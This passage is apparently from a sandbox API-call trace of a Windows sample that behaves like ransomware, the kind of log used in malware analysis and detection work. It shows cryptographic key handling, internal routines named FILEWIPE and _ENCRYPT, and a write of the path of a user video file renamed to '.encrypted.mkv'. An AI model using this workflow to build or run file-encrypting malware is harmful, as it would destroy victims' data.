wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.996] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.003] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.003] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.003] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.003] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.003] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.004] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.004] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.004] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.006] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.009] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.010] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.010] CharLowerBuffW (in: lpsz="byte[86172]", cchLength=0xb | out: lpsz="byte[86172]") returned 0xb [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.011] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.011] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.011] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.012] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.012] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.012] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.013] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10115) returned 1 [0029.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.013] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.013] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2783, lpOverlapped=0x0) returned 1 [0029.014] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.014] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2783, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.014] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10115) returned 1 [0029.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\aOaM uZXXriFkMMJoHX.encrypted.mkv\r\n", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0029.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\aOaM uZXXriFkMMJoHX.encrypted.mkv\r\n", cchWideChar=64, lpMultiByteStr=0xe8f4050ff0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\aOaM uZXXriFkMMJoHX.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 64 [0029.014] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40518b0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40518b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3f, lpOverlapped=0x0) returned 1 [0029.014] CloseHandle (hObject=0x188) returned 1 [0029.015] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.015] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.015] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.015] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.015] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.015] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.015] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.016] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.017] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.017] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.017] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0029.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf", cchWideChar=43, lpMultiByteStr=0xe8f404c350, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf", lpUsedDefaultChar=0x0) returned 43 [0029.017] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\bdzhqhicch.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=43, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0029.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=43, lpWideCharStr=0xe8f4069e30, cchWideChar=43 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.swf") returned 43 [0029.018] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.018] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.019] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.019] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.019] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.019] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.019] CloseHandle (hObject=0x188) returned 1 [0029.019] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.020] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.020] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.020] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 